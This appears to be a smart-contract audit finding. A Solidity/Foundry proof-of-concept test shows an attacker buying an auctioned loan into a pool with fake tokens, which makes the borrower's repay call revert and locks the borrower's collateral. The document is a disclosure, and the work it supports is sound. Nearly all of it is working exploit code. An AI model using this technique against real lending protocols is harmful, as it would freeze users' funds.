It's possible to prevent a borrower to repay debt, effectively locking his collateral
address public attacker = address(0x5);
TERC20 public fakeLoanToken;
TERC20 public fakeCollateralToken;
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
fakeLoanToken = new TERC20();
fakeCollateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
fakeLoanToken.mint(address(attacker), 100000*10**18);
fakeCollateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
fakeLoanToken.approve(address(lender), 1000000*10**18);
fakeCollateralToken.approve(address(lender), 1000000*10**18);
}
function test_DoSRepay() public {
test_borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(attacker);
Pool memory attackerPool = Pool({
lender: attacker,
loanToken: address(fakeLoanToken),
collateralToken: address(fakeCollateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 attackerPoolId = lender.setPool(attackerPool);
vm.warp(block.timestamp + 23 hours);
lender.buyLoan(0, attackerPoolId);
vm.startPrank(borrower);
loanToken.mint(address(borrower), 5*10**17);
vm.expectRevert();
lender.repay(loanIds);
}